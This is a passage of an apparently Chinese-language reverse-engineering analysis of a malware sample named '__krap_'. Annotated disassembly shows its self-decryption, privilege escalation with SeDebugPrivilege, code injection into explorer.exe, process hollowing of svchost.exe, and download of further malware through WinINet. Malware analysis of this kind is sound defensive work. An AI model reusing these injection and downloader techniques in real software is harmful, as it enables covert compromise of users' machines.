09 11 ..0. 00406462 19 15 15 14 26 15 15 14 19 15 15 14 19 15 15 14 & 00406472 19 15 15 14 19 15 15 14 19 15 15 14 19 15 15 14  00406482 19 15 15 14 19 15 15 14 17 10 1B 10 1B 15 15 14  00406492 10 09 1D 0B 0C 17 0D 2D 2D 0D 27 52 24 18 14 0F . ..--.'R$ // 00408084 31C0 xor eax,eax 00408086 8A07 mov al,byte ptr ds:[edi] // edi - > 00406424 00408088 47 inc edi 00408089 09C0 or eax,eax 0040808B 74 22 je short __krap_.004080AF 0040808D 3C EF cmp al,0EF 0040808F 77 11 ja short __krap_.004080A2 00408091 01C3 add ebx,eax // ebx - > 004010C1 00408093 8B03 mov eax,dword ptr ds:[ebx] 00408095 86C4 xchg ah,al 00408097 C1C0 10 rol eax,10 0040809A 86C4 xchg ah,al 0040809C 01F0 add eax,esi 0040809E 8903 mov dword ptr ds:[ebx],eax // 去修正4010c1这块偏移 004080A0 ^ EB E2 jmp short __krap_.00408084 //例如下面代码代码 004010B5 C785 6CFFFFFF 9>mov dword ptr ss:[ebp-94],94 004010BF FF15 000020B8 call dword ptr ds:[B8200000] //会被修正为 004010B5 C785 6CFFFFFF 9>mov dword ptr ss:[ebp-94],94 004010BF FF15 B8304000 call dword ptr ds:[4030B8] ; kernel32.GetVersionExA // 解密完成后对比变化 // 解密前 00401000 >55 8B EC 50 56 83 65 FC 00 C7 45 F8 00 00 00 00 U嬱PV僥?荅?... 00401010 56 C7 45 F4 FF FF FF FF EB 0A 5E 8B 75 F8 2B 75 V荅??^媢?u 00401020 F4 89 75 F8 8B 7D F8 3B 7D 10 73 65 8B 4D 0C 03 魤u鴭}?}se婱. 00401030 4D F8 89 C8 8B 4D F4 31 D2 33 10 F7 D1 F7 D2 09 M鴫葖M??餮饕. 00401040 D1 F7 D1 81 E1 FF 00 00 00 8B 45 14 03 45 FC 8B 痒褋?...婨E鼖 00401050 10 89 D0 68 FF 00 00 00 23 04 24 83 C4 04 6A FF 壭h...#$兡j 00401060 33 04 24 40 83 C4 04 01 C1 8B 45 08 03 45 F8 C6 3$@兡翄EE 00401070 00 00 28 08 F6 18 8B 4D FC 41 89 4D FC 83 7D FC ..(?婱麬塎鼉} // 解密后 00401000 >55 8B EC 81 EC DC 02 00 00 B8 6C 01 00 00 89 85 U嬱侅?..竘..墔 00401010 90 FE FF FF 89 85 24 FD FF FF 6A 00 8D 45 FC 50 慆墔$?j.岴黀 00401020 6A 01 E8 37 11 00 00 85 C0 74 04 33 C0 C9 C3 8B j?..吚t3郎脣 00401030 45 FC 8B 08 6A 08 6A 00 50 FF 51 50 8B 45 FC 8B E鼖jj.PQP婨鼖 00401040 08 8D 95 24 FD FF FF 52 8D 95 90 FE FF FF 52 50 崟$?R崟慆RP 00401050 FF 51 2C 85 C0 75 D4 81 BD CC FE FF FF 00 00 00 Q,吚u詠教?... 00401060 02 1B C0 F7 D8 C9 C3 55 8B EC 83 EC 08 C6 45 FF 厉厣肬嬱冹艵 00401070 00 0F 01 4D F9 8B 45 FB 25 00 00 F0 FF 3D 00 00 .M鶍E?..?=.. 00401080 C0 FF 75 04 C6 45 FF 01 0F B6 45 FF C9 C3 55 8B ?u艵禘擅U [0x04].自身注入Explorer.exe // 接着获得版本信息及自身路径 00401FBB 55 push ebp ************** 00401FBC 8BEC mov ebp,esp 00401FBE 81EC 3C010000 sub esp,13C 00401FC4 8D85 C4FEFFFF lea eax,dword ptr ss:[ebp-13C] 00401FCA 8945 FC mov dword ptr ss:[ebp-4],eax 00401FCD E8 BCF0FFFF call __krap_.0040108E 00401FD2 84C0 test al,al 00401FD4 - 0F84 7E010000 je __krap_.00402158 // 截取自己所在路径下最后的文件名称,判断自身是不是explorer.exe,因为这段代码会 // 运行在病毒程序中,也会运行在被注入的explorer中。 // 如果是explorer,则注入代码到svchost.exe 中。 00402010 8B4D FC mov ecx,dword ptr ss:[ebp-4] 00402013 8B11 mov edx,dword ptr ds:[ecx] 00402015 B8 20202020 mov eax,20202020 0040201A 0BD0 or edx,eax 0040201C 81FA 6578706C cmp edx,6C707865 ; expl 00402022 75 77 jnz short __krap_.0040209B 00402024 8B51 04 mov edx,dword ptr ds:[ecx+4] 00402027 0BD0 or edx,eax 00402029 81FA 6F726572 cmp edx,7265726F ; orer 0040202F 75 6A jnz short __krap_.0040209B 00402031 8B49 08 mov ecx,dword ptr ds:[ecx+8] 00402034 0BC8 or ecx,eax 00402036 81F9 2E657865 cmp ecx,6578652E ; .exe 0040203C 75 5D jnz short __krap_.0040209B 0040203E 8B45 0C mov eax,dword ptr ss:[ebp+C] 00402041 48 dec eax 00402042 75 4E jnz short __krap_.00402092 00402044 6A 08 push 8 00402046 59 pop ecx 00402047 8D7D C8 lea edi,dword ptr ss:[ebp-38] 0040204A F3:AB rep stos dword ptr es:[edi] 0040204C 68 40344000 push __krap_.00403440 ; ASCII "explorer.exe" 00402051 8D45 C8 lea eax,dword ptr ss:[ebp-38] 00402054 50 push eax 00402055 FF15 1C304000 call dword ptr ds:[40301C] ; kernel32.lstrcpyA 0040205B 8D45 C8 lea eax,dword ptr ss:[ebp-38] 0040205E 50 push eax 0040205F E8 7CF1FFFF call __krap_.004011E0 ; 获得explorer.exe 进程id 00402064 3BC3 cmp eax,ebx 00402066 59 pop ecx 00402067 74 29 je short __krap_.00402092 00402069 50 push eax 0040206A 53 push ebx 0040206B 68 FF0F1F00 push 1F0FFF 00402070 FF15 34304000 call dword ptr ds:[403034] ; kernel32.OpenProcess 00402076 8BF0 mov esi,eax 00402078 3BF3 cmp esi,ebx 0040207A 74 16 je short __krap_.00402092 0040207C 53 push ebx 0040207D 56 push esi 0040207E 68 F11E4000 push <__krap_.inject_code> 00402083 E8 AEFCFFFF call __krap_.00401D36 // 注入代码到svchost.exe // 不是explorer.exe说明是病毒程序自身,提权,注入。 0040209B 57 push edi 0040209C 68 08404000 push __krap_.00404008 004020A1 53 push ebx 004020A2 FFD6 call esi 004020A4 FF15 A8304000 call dword ptr ds:[4030A8] ; kernel32.GetCurrentProcess 004020AA 8D4D 0C lea ecx,dword ptr ss:[ebp+C] 004020AD 51 push ecx 004020AE 6A 20 push 20 004020B0 50 push eax 004020B1 FF15 08304000 call dword ptr ds:[403008] ; ADVAPI32.OpenProcessToken 004020B7 85C0 test eax,eax 004020B9 8B35 2C304000 mov esi,dword ptr ds:[40302C] ; kernel32.CloseHandle 004020BF 74 44 je short __krap_.00402105 004020C1 8D45 F8 lea eax,dword ptr ss:[ebp-8] 004020C4 50 push eax 004020C5 68 FC334000 push __krap_.004033FC ; ASCII "SeDebugPrivilege" 004020CA 53 push ebx 004020CB FF15 00304000 call dword ptr ds:[403000] ; ADVAPI32.LookupPrivilegeValueA 004020D1 85C0 test eax,eax 004020D3 74 30 je short __krap_.00402105 004020D5 8B45 F8 mov eax,dword ptr ss:[ebp-8] 004020D8 53 push ebx 004020D9 8945 EC mov dword ptr ss:[ebp-14],eax 004020DC 8B45 FC mov eax,dword ptr ss:[ebp-4] 004020DF 53 push ebx 004020E0 53 push ebx 004020E1 8945 F0 mov dword ptr ss:[ebp-10],eax 004020E4 8D45 E8 lea eax,dword ptr ss:[ebp-18] 004020E7 50 push eax 004020E8 53 push ebx 004020E9 FF75 0C push dword ptr ss:[ebp+C] 004020EC C745 E8 0100000>mov dword ptr ss:[ebp-18],1 004020F3 C745 F4 0200000>mov dword ptr ss:[ebp-C],2 004020FA FF15 04304000 call dword ptr ds:[403004] ; ADVAPI32.AdjustTokenPrivileges //以下是查找过程,枚举进程,然后枚举模块,判断是否是explorer.exe 00401213 E8 580F0000 call __krap_.00402170 ; jmp to PSAPI.EnumProcesses 00401218 85C0 test eax,eax 0040121A 0F84 07010000 je __krap_.00401327 00401220 8365 FC 00 and dword ptr ss:[ebp-4],0 00401224 F745 F8 FCFFFFF>test dword ptr ss:[ebp-8],FFFFFFFC 0040122B 0F86 F6000000 jbe __krap_.00401327 00401231 56 push esi 00401232 8B35 38304000 mov esi,dword ptr ds:[403038] ; kernel32.lstrlenA 00401238 53 push ebx 00401239 8B45 FC mov eax,dword ptr ss:[ebp-4] 0040123C 8B8485 F0EDFFFF mov eax,dword ptr ss:[ebp+eax*4-1210] 00401243 85C0 test eax,eax 00401245 0F84 BC000000 je __krap_.00401307 0040124B 50 push eax 0040124C 6A 00 push 0 0040124E 68 10040000 push 410 00401253 FF15 34304000 call dword ptr ds:[403034] ; kernel32.OpenProcess 00401259 57 push edi 0040125A 8BD8 mov ebx,eax 0040125C 8D85 F0FEFFFF lea eax,dword ptr ss:[ebp-110] 00401262 6A 00 push 0 00401264 50 push eax 00401265 E8 3D0A0000 call __krap_.00401CA7 ; 清0,存储模块名字的空间 0040126A 83C4 0C add esp,0C 0040126D 85DB test ebx,ebx 0040126F 0F84 8B000000 je __krap_.00401300 00401275 8D45 F0 lea eax,dword ptr ss:[ebp-10] 00401278 50 push eax 00401279 6A 04 push 4 0040127B 8D45 F4 lea eax,dword ptr ss:[ebp-C] 0040127E 50 push eax 0040127F 53 push ebx 00401280 E8 E50E0000 call __krap_.0040216A //枚举进程中的模块 00401285 85C0 test eax,eax 00401287 74 77 je short __krap_.00401300 00401289 57 push edi 0040128A 8D85 F0FEFFFF lea eax,dword ptr ss:[ebp-110] 00401290 50 push eax 00401291 FF75 F4 push dword ptr ss:[ebp-C] 00401294 53 push ebx 00401295 E8 CA0E0000 call __krap_.00402164 // GetModuleFileNameExA 0040129A 8D85 F0FEFFFF lea eax,dword ptr ss:[ebp-110] 004012A0 50 push eax 004012A1 FFD6 call esi // 计算获得模块路径的的长度 004012A3 85C0 test eax,eax 004012A5 74 59 je short __krap_.00401300 004012A7 80BD F1FEFFFF 3>cmp byte ptr ss:[ebp-10F],3A // 查找任何的盘符 + ":\" 开头的路径 004012AE 75 50 jnz short __krap_.00401300 004012B0 80BD F2FEFFFF 5>cmp byte ptr ss:[ebp-10E],5C 004012B7 75 47 jnz short __krap_.00401300 004012B9 FF75 08 push dword ptr ss:[ebp+8] // 压入explorer.exe 004012BC FFD6 call esi // 计算长度 004012BE 85C0 test eax,eax 004012C0 7E 3E jle short __krap_.00401300 004012C2 8D85 F0FEFFFF lea eax,dword ptr ss:[ebp-110] 004012C8 50 push eax 004012C9 FFD6 call esi 004012CB EB 12 jmp short __krap_.004012DF // 反向查找 '\' ,截取文件名和explorer进行比较 004012CD 8A11 mov dl,byte ptr ds:[ecx] 004012CF 80FA 40 cmp dl,40 004012D2 7E 0A jle short __krap_.004012DE 004012D4 80FA 5B cmp dl,5B 004012D7 7D 05 jge short __krap_.004012DE 004012D9 80C2 20 add dl,20 004012DC 8811 mov byte ptr ds:[ecx],dl 004012DE 48 dec eax 004012DF 8D8C05 F0FEFFFF lea ecx,dword ptr ss:[ebp+eax-110] 004012E6 8039 5C cmp byte ptr ds:[ecx],5C 004012E9 ^ 75 E2 jnz short __krap_.004012CD 004012EB FF75 08 push dword ptr ss:[ebp+8] 004012EE 8D8405 F1FEFFFF lea eax,dword ptr ss:[ebp+eax-10F] 004012F5 50 push eax 004012F6 FF15 30304000 call dword ptr ds:[403030] ; lstrcmpA 004012FC 85C0 test eax,eax 004012FE 74 1B je short __krap_.0040131B // 如果枚举的进程explorer.exe 00401300 53 push ebx 00401301 FF15 2C304000 call dword ptr ds:[40302C] ; kernel32.CloseHandle 00401307 8B45 F8 mov eax,dword ptr ss:[ebp-8] 0040130A FF45 FC inc dword ptr ss:[ebp-4] 0040130D C1E8 02 shr eax,2 00401310 3945 FC cmp dword ptr ss:[ebp-4],eax 00401313 ^ 0F82 20FFFFFF jb __krap_.00401239 00401319 EB 0A jmp short __krap_.00401325 0040131B 8B45 FC mov eax,dword ptr ss:[ebp-4] 0040131E 8B8485 F0EDFFFF mov eax,dword ptr ss:[ebp+eax*4-1210] // 保留explorer.exe的进程ID 00401325 5B pop ebx 00401326 5E pop esi 00401327 5F pop edi 00401328 C9 leave 00401329 C3 retn // 对explorer.exe的注入采用的NtMapViewOfSection + CreateRemoteThread 00401D36 55 push ebp 00401D37 8BEC mov ebp,esp 00401D39 81EC 0C030000 sub esp,30C 00401D3F 53 push ebx 00401D40 56 push esi 00401D41 57 push edi 00401D42 E8 B8FFFFFF call __krap_.00401CFF 00401D47 25 0000FFFF and eax,FFFF0000 00401D4C 8B78 3C mov edi,dword ptr ds:[eax+3C] 00401D4F 03F8 add edi,eax 00401D51 8945 F8 mov dword ptr ss:[ebp-8],eax 00401D54 8D47 18 lea eax,dword ptr ds:[edi+18] 00401D57 8945 E0 mov dword ptr ss:[ebp-20],eax 00401D5A 8B40 38 mov eax,dword ptr ds:[eax+38] //自身的Size0fImage 00401D5D 33DB xor ebx,ebx 00401D5F 6A 09 push 9 // 查看是否支持PAE扩展 00401D61 8945 F0 mov dword ptr ss:[ebp-10],eax 00401D64 885D FF mov byte ptr ss:[ebp-1],bl 00401D67 FF15 98304000 call dword ptr ds:[403098] //IsProcessorFeaturePresent 00401D6D 53 push ebx 00401D6E FF75 F0 push dword ptr ss:[ebp-10] 00401D71 8BF0 mov esi,eax 00401D73 F7DE neg esi 00401D75 1BF6 sbb esi,esi 00401D77 53 push ebx // hFile = FFFFFFFF 00401D78 83E6 3C and esi,3C // pSecurity = NULL 00401D7B 83C6 04 add esi,4 // Protection = PAGE_EXECUTE_READWRITE 00401D7E 56 push esi // Max_SizeHigh = 0 00401D7F 53 push ebx // Max_SizeLow = A000 -> 自身 Size0fImage 大小 00401D80 6A FF push -1 // MapName = Null 00401D82 FF15 94304000 call dword ptr ds:[403094] // call kernel32.CreateFileMappingA 00401D88 3BC3 cmp eax,ebx 00401D8A 8945 E8 mov dword ptr ss:[ebp-18],eax 00401D8D 75 07 jnz short __krap_.00401D96 00401D8F 32C0 xor al,al 00401D91 E9 56010000 jmp __krap_.00401EEC 00401D96 53 push ebx 00401D97 53 push ebx 00401D98 53 push ebx 00401D99 6A 02 push 2 00401D9B 50 push eax 00401D9C FF15 90304000 call dword ptr ds:[403090] ; call MapViewOfFile 00401DA2 3BC3 cmp eax,ebx 00401DA4 8945 F4 mov dword ptr ss:[ebp-C],eax 00401DA7 0F84 33010000 je __krap_.00401EE0 00401DAD 68 1C344000 push __krap_.0040341C ; ASCII "NtMapViewOfSection" 00401DB2 8D45 C0 lea eax,dword ptr ss:[ebp-40] 00401DB5 50 push eax 00401DB6 FF15 1C304000 call dword ptr ds:[40301C] ; kernel32.lstrcpyA 00401DBC 68 10344000 push __krap_.00403410 ; ASCII "ntdll.dll" 00401DC1 FF15 6C304000 call dword ptr ds:[40306C] ; kernel32.LoadLibraryA 00401DC7 8D4D C0 lea ecx,dword ptr ss:[ebp-40] 00401DCA 51 push ecx 00401DCB 50 push eax 00401DCC FF15 7C304000 call dword ptr ds:[40307C] ; kernel32.GetProcAddress 00401DD2 8B4D F0 mov ecx,dword ptr ss:[ebp-10] // 从ntdll 中 导出zwMapViewOfSection 00401DD5 56 push esi 00401DD6 53 push ebx 00401DD7 6A 01 push 1 00401DD9 894D E4 mov dword ptr ss:[ebp-1C],ecx 00401DDC 8D4D E4 lea ecx,dword ptr ss:[ebp-1C] 00401DDF 51 push ecx 00401DE0 53 push ebx 00401DE1 53 push ebx 00401DE2 53 push ebx 00401DE3 8D4D EC lea ecx,dword ptr ss:[ebp-14] 00401DE6 51 push ecx 00401DE7 FF75 0C push dword ptr ss:[ebp+C] 00401DEA 895D EC mov dword ptr ss:[ebp-14],ebx 00401DED FF75 E8 push dword ptr ss:[ebp-18] 00401DF0 FFD0 call eax // 映射一段0xA000大小的空间 00401DF2 FF75 F0 push dword ptr ss:[ebp-10] 00401DF5 FF75 F8 push dword ptr ss:[ebp-8] 00401DF8 FF75 F4 push dword ptr ss:[ebp-C] 00401DFB E8 DAFEFFFF call __krap_.00401CDA // 拷贝自身数据到Mapping的空间中 00401E00 0FB747 14 movzx eax,word ptr ds:[edi+14] // SizeOfOptionalHeader = E0 00401E04 0345 E0 add eax,dword ptr ss:[ebp-20] // 定位到第一个节表 00401E07 8B75 EC mov esi,dword ptr ss:[ebp-14] 00401E0A 8B48 34 mov ecx,dword ptr ds:[eax+34] // 得到VirtualAddress 00401E0D 8BFE mov edi,esi 00401E0F 2B7D F8 sub edi,dword ptr ss:[ebp-8] // edi = dif(地址差值) == NtMapViewOfSection映射的地址 - MapViewOfFile映射地址 00401E12 83C4 0C add esp,0C 00401E15 034D F8 add ecx,dword ptr ss:[ebp-8] 00401E18 66:8139 8DBE cmp word ptr ds:[ecx],0BE8D // 查找节中一段特征指令 lea edi,dword ptr ds:[esi+5000] 00401E1D 75 09 jnz short __krap_.00401E28 // mov eax,dword ptr ds:[edi] 00401E1F 8179 06 8B0709C>cmp dword ptr ds:[ecx+6],C009078B // or eax,eax 00401E26 74 03 je short __krap_.00401E2B 00401E28 41 inc ecx 00401E29 ^ EB ED jmp short __krap_.00401E18 00401E2B 8B49 02 mov ecx,dword ptr ds:[ecx+2] // 取出上面指令中的0x5000 这个数字到ecx 00401E2E 8B40 0C mov eax,dword ptr ds:[eax+C] // 定位第一个节的虚拟地址,0x1000 00401E31 03C8 add ecx,eax 00401E33 034D F8 add ecx,dword ptr ss:[ebp-8] // 刚好得到第一个节的0x406000位置 00401E36 EB 0D jmp short __krap_.00401E45 00401E38 83C1 08 add ecx,8 00401E3B EB 01 jmp short __krap_.00401E3E 00401E3D 41 inc ecx 00401E3E 66:3919 cmp word ptr ds:[ecx],bx // 0x406000的位置是导入表函数名区域,不断比较是否00 00 00401E41 ^ 75 FA jnz short __krap_.00401E3D // 好跳过该区域,该区域是一个索引,里面记录了偏移,用于 00401E43 41 inc ecx // 后面的重定位,设x_table[0 ~ n] 表示该区域内对应的索引 00401E44 41 inc ecx // 0xf0 是索引区域结束的标志 00401E45 3919 cmp dword ptr ds:[ecx],ebx 00401E47 ^ 75 EF jnz short __krap_.00401E38 00401E49 8B55 F4 mov edx,dword ptr ss:[ebp-C] 00401E4C 83C1 04 add ecx,4 00401E4F 8D5410 FC lea edx,dword ptr ds:[eax+edx-4] 00401E53 8A01 mov al,byte ptr ds:[ecx] 00401E55 41 inc ecx 00401E56 3AC3 cmp al,bl 00401E58 74 26 je short __krap_.00401E80 00401E5A 3C F0 cmp al,0F0 00401E5C 73 07 jnb short __krap_.00401E65 00401E5E 0FB6C0 movzx eax,al // mem_view_off = 映射区域第一个节代码的开始位置 00401E61 03D0 add edx,eax // mem_view_off = x_table[n] + mem_view_off 00401E63 EB 0F jmp short __krap_.00401E74 00401E65 0FB731 movzx esi,word ptr ds:[ecx] 00401E68 83E0 0F and eax,0F 00401E6B C1E0 10 shl eax,10 00401E6E 0BC6 or eax,esi 00401E70 03D0 add edx,eax 00401E72 41 inc ecx 00401E73 41 inc ecx 00401E74 013A add dword ptr ds:[edx],edi // 对mem_view_off 重定位改写,每次通过 00401E76 8A01 mov al,byte ptr ds:[ecx] // dif(地址差值)来修正 00401E78 41 inc ecx 00401E79 3AC3 cmp al,bl 00401E7B ^ 75 DD jnz short __krap_.00401E5A // 例如: 00401E7D 8B75 EC mov esi,dword ptr ss:[ebp-14] // 要注入代码的地址计算 = 映射地址(BE0000) - 自身ImageBase(400000) + 自身代码地址(401EF1) 00401E80 2B75 F8 sub esi,dword ptr ss:[ebp-8] // 最终要注入代码的地址 = 00FE1EF1 00401E83 0375 08 add esi,dword ptr ss:[ebp+8] 00401E86 395D 10 cmp dword ptr ss:[ebp+10],ebx 00401E89 75 18 jnz short __krap_.00401EA3 00401E8B 53 push ebx // 注入 00401EF1 <__krap_.inject_code> 地址代码到explorer中 00401E8C 53 push ebx 00401E8D 53 push ebx 00401E8E 56 push esi 00401E8F 53 push ebx 00401E90 53 push ebx 00401E91 FF75 0C push dword ptr ss:[ebp+C] 00401E94 FF15 8C304000 call dword ptr ds:[40308C] ; kernel32.CreateRemoteThread 00401E9A 50 push eax 00401E9B FF15 2C304000 call dword ptr ds:[40302C] ; kernel32.CloseHandle 00401EA1 EB 30 jmp short __krap_.00401ED3 00401EA3 8D85 F4FCFFFF lea eax,dword ptr ss:[ebp-30C] 00401EA9 50 push eax 00401EAA FF75 10 push dword ptr ss:[ebp+10] 00401EAD C785 F4FCFFFF 0>mov dword ptr ss:[ebp-30C],10002 // 这段代码是在explorer.exe 注入svchost.exe中要走的流程,后面会有分析。 00401EB7 FF15 88304000 call dword ptr ds:[403088] // kernel32.GetThreadContext 00401EBD 8D85 F4FCFFFF lea eax,dword ptr ss:[ebp-30C] // 取CONTEXT结构首地址 00401EC3 50 push eax // 压入CONTEXT结构首地址 00401EC4 FF75 10 push dword ptr ss:[ebp+10] // 压入 hThread 00401EC7 89B5 A4FDFFFF mov dword ptr ss:[ebp-25C],esi // 修改CONTEXT.Eip = 新的注入代码地址 00401ECD FF15 84304000 call dword ptr ds:[403084] // call SetThreadContext 00401ED3 FF75 F4 push dword ptr ss:[ebp-C] 00401ED6 C645 FF 01 mov byte ptr ss:[ebp-1],1 00401EDA FF15 80304000 call dword ptr ds:[403080] ; kernel32.UnmapViewOfFile 00401EE0 FF75 E8 push dword ptr ss:[ebp-18] 00401EE3 FF15 2C304000 call dword ptr ds:[40302C] ; kernel32.CloseHandle 00401EE9 8A45 FF mov al,byte ptr ss:[ebp-1] 00401EEC 5F pop edi 00401EED 5E pop esi 00401EEE 5B pop ebx 00401EEF C9 leave 00401EF0 C3 retn [0x05].Explorer在再注入Svchost.exe // 注入到explorer.exe中代码 00E21EF1 55 push ebp 00E21EF2 8BEC mov ebp,esp 00E21EF4 81EC 4C010000 sub esp,14C 00E21EFA 56 push esi 00E21EFB 68 D0070000 push 7D0 00E21F00 FF15 7030E200 call dword ptr ds:[E23070] ; Sleep 休眠2秒 00E21F06 33F6 xor esi,esi 00E21F08 8D45 FC lea eax,dword ptr ss:[ebp-4] 00E21F0B 50 push eax 00E21F0C 56 push esi 00E21F0D 56 push esi 00E21F0E 68 031DE200 push 0E21D03 00E21F13 56 push esi 00E21F14 56 push esi 00E21F15 8975 FC mov dword ptr ss:[ebp-4],esi // 创建一个线程不停的去删除主运行程序文件,很简单不分析了。 00E21F18 FF15 B430E200 call dword ptr ds:[E230B4] //call CreateThread 00E21F1E 50 push eax 00E21F1F FF15 2C30E200 call dword ptr ds:[E2302C] ; kernel32.CloseHandle // 注入svchost,这里使用了 CREATE_SUSPENDED CreateProcess + ResumeThread 方式注入 // 相当于启动一个傀儡的进程svchost.exe, 00E21F25 68 04010000 push 104 00E21F2A 8D85 B4FEFFFF lea eax,dword ptr ss:[ebp-14C] 00E21F30 50 push eax 00E21F31 FF15 A030E200 call dword ptr ds:[E230A0] ; kernel32.GetSystemDirectoryA 00E21F37 68 3034E200 push 0E23430 ; ASCII "\svchost.exe" 00E21F3C 8D85 B4FEFFFF lea eax,dword ptr ss:[ebp-14C] 00E21F42 50 push eax 00E21F43 FF15 1830E200 call dword ptr ds:[E23018] ; kernel32.lstrcatA 00E21F49 6A 40 push 40 // svchost.exe 所在的系统目录 00E21F4B 8D45 BC lea eax,dword ptr ss:[ebp-44] 00E21F4E 56 push esi 00E21F4F 50 push eax 00E21F50 C745 B8 4400000>mov dword ptr ss:[ebp-48],44 00E21F57 E8 4BFDFFFF call 00E21CA7 // 分配0x40个空间,初始化为0,就是STARTUPINFO结构 00E21F5C 83C4 0C add esp,0C 00E21F5F 68 0C41E200 push 0E2410C 00E21F64 8D45 B8 lea eax,dword ptr ss:[ebp-48] 00E21F67 50 push eax 00E21F68 56 push esi 00E21F69 56 push esi 00E21F6A 6A 04 push 4 00E21F6C 56 push esi 00E21F6D 56 push esi 00E21F6E 56 push esi 00E21F6F 8D85 B4FEFFFF lea eax,dword ptr ss:[ebp-14C] 00E21F75 50 push eax 00E21F76 56 push esi 00E21F77 C745 E4 0100000>mov dword ptr ss:[ebp-1C],1 00E21F7E 66:C745 E8 0500 mov word ptr ss:[ebp-18],5 // 调试方式创建一个傀儡进程svchost.exe 进程,并挂起。 00E21F84 FF15 4030E200 call dword ptr ds:[E23040] // call kernel32.CreateProcessA 00E21F8A FF35 1041E200 push dword ptr ds:[E24110] 00E21F90 FF35 0C41E200 push dword ptr ds:[E2410C] // 再次注入代码到svchost.exe进程 00E21F96 68 C415E200 push 0E215C4 // 注入GetThreadContext() ,SetThreadContext() 注入 // 这里为svchost.exe 重新映射一块内存,然后修正Context.eax值,使其执行要注入代码的首地址 00E21F9B E8 96FDFFFF call 00E21D36 00E21FA0 83C4 0C add esp,0C 00E21FA3 84C0 test al,al 00E21FA5 74 0C je short 00E21FB3 00E21FA7 FF35 1041E200 push dword ptr ds:[E24110] 00E21FAD FF15 9C30E200 call dword ptr ds:[E2309C] ; kernel32.ResumeThread 00E21FB3 56 push esi 00E21FB4 FF15 3C30E200 call dword ptr ds:[E2303C] ; kernel32.ExitThread explorer中的注入代码执行完后自动退出。 [0x06].傀儡进程Svchost.exe完成download功能 svchost.exe 主要链接网络下载其它病毒。 004013B2 FF15 18304000 call dword ptr ds:[403018] ; kernel32.lstrcatA 004013B8 8B3D F8304000 mov edi,dword ptr ds:[<&WS2_32.WSAGetLas>; WININET.InternetReadFile 004013BE 895D E4 mov dword ptr ss:[ebp-1C],ebx 004013C1 56 push esi 004013C2 8D85 08FAFFFF lea eax,dword ptr ss:[ebp-5F8] 004013C8 53 push ebx 004013C9 50 push eax 004013CA E8 D8080000 call __krap_.00401CA7 004013CF 83C4 0C add esp,0C 004013D2 53 push ebx 004013D3 53 push ebx 004013D4 53 push ebx 004013D5 53 push ebx 004013D6 8D85 08F6FFFF lea eax,dword ptr ss:[ebp-9F8] 004013DC 50 push eax 004013DD 8975 E8 mov dword ptr ss:[ebp-18],esi 004013E0 FF15 E8304000 call dword ptr ds:[<&SHELL32.Shell_Notif>; WININET.InternetOpenA 004013E6 395D E4 cmp dword ptr ss:[ebp-1C],ebx 004013E9 53 push ebx 004013EA 53 push ebx 004013EB 53 push ebx 004013EC 8945 F4 mov dword ptr ss:[ebp-C],eax 004013EF 53 push ebx 004013F0 8D8D 08FEFFFF lea ecx,dword ptr ss:[ebp-1F8] 004013F6 74 06 je short __krap_.004013FE 004013F8 8D8D 88FEFFFF lea ecx,dword ptr ss:[ebp-178] 004013FE 51 push ecx 004013FF 50 push eax 00401400 FF15 E4304000 call dword ptr ds:[<&SHELL32.SHGetFileIn>; WININET.InternetOpenUrlA 00401406 6A 04 push 4 00401408 8945 08 mov dword ptr ss:[ebp+8],eax 0040140B 8D45 E0 lea eax,dword ptr ss:[ebp-20] 0040140E 50 push eax 0040140F 6A 02 push 2 00401411 FF75 F4 push dword ptr ss:[ebp-C] 00401414 FF15 EC304000 call dword ptr ds:[4030EC] ; WININET.InternetSetOptionA 0040141A 6A 04 push 4 0040141C 8D45 E0 lea eax,dword ptr ss:[ebp-20] 0040141F 50 push eax 00401420 6A 06 push 6 00401422 FF75 F4 push dword ptr ss:[ebp-C] 00401425 FF15 EC304000 call dword ptr ds:[4030EC] ; WININET.InternetSetOptionA 0040142B 6A 04 push 4 0040142D 8D45 E0 lea eax,dword ptr ss:[ebp-20] 00401430 50 push eax 00401431 6A 05 push 5 00401433 FF75 F4 push dword ptr ss:[ebp-C] 00401436 FF15 EC304000 call dword ptr ds:[4030EC] ; WININET.InternetSetOptionA 0040143C 53 push ebx 0040143D 8D45 FC lea eax,dword ptr ss:[ebp-4] 00401440 50 push eax 00401441 8D45 EC lea eax,dword ptr ss:[ebp-14] 00401444 50 push eax 00401445 68 05000020 push 20000005 0040144A FF75 08 push dword ptr ss:[ebp+8] 0040144D 895D EC mov dword ptr ss:[ebp-14],ebx 00401450 C745 FC 0400000>mov dword ptr ss:[ebp-4],4 00401457 FF15 F0304000 call dword ptr ds:[<&comdlg32.GetFileTit>; WININET.HttpQueryInfoA 0040145D 8B45 EC mov eax,dword ptr ss:[ebp-14] 00401460 3BC6 cmp eax,esi 00401462 0F86 8C000000 jbe __krap_.004014F4 00401468 53 push ebx 00401469 68 80000000 push 80 0040146E 6A 04 push 4 00401470 53 push ebx 00401471 6A 02 push 2 00401473 68 00000040 push 40000000 00401478 8D85 08FFFFFF lea eax,dword ptr ss:[ebp-F8] 0040147E 50 push eax 0040147F FF15 4C304000 call dword ptr ds:[40304C] ; kernel32.CreateFileA 00401485 56 push esi 00401486 8945 F0 mov dword ptr ss:[ebp-10],eax 00401489 8D85 08FAFFFF lea eax,dword ptr ss:[ebp-5F8] 0040148F 53 push ebx 00401490 50 push eax 00401491 895D FC mov dword ptr ss:[ebp-4],ebx 00401494 E8 0E080000 call __krap_.00401CA7 00401499 EB 2D jmp short __krap_.004014C8 0040149B 3AC3 cmp al,bl 0040149D 74 4A je short __krap_.004014E9 0040149F 53 push ebx 004014A0 8D45 DC lea eax,dword ptr ss:[ebp-24] 004014A3 50 push eax 004014A4 FF75 FC push dword ptr ss:[ebp-4] 004014A7 8D85 08FAFFFF lea eax,dword ptr ss:[ebp-5F8] 004014AD 50 push eax 004014AE FF75 F0 push dword ptr ss:[ebp-10] 004014B1 FF15 48304000 call dword ptr ds:[403048] ; kernel32.WriteFile 004014B7 56 push esi 004014B8 8D85 08FAFFFF lea eax,dword ptr ss:[ebp-5F8] 004014BE 53 push ebx 004014BF 50 push eax 004014C0 E8 E2070000 call __krap_.00401CA7 004014C5 895D FC mov dword ptr ss:[ebp-4],ebx 004014C8 83C4 0C add esp,0C 004014CB 8D45 FC lea eax,dword ptr ss:[ebp-4] 004014CE 50 push eax 004014CF 56 push esi 004014D0 8D85 08FAFFFF lea eax,dword ptr ss:[ebp-5F8] 004014D6 50 push eax 004014D7 FF75 08 push dword ptr ss:[ebp+8] 004014DA 8975 E8 mov dword ptr ss:[ebp-18],esi 004014DD FFD7 call edi 004014DF 85C0 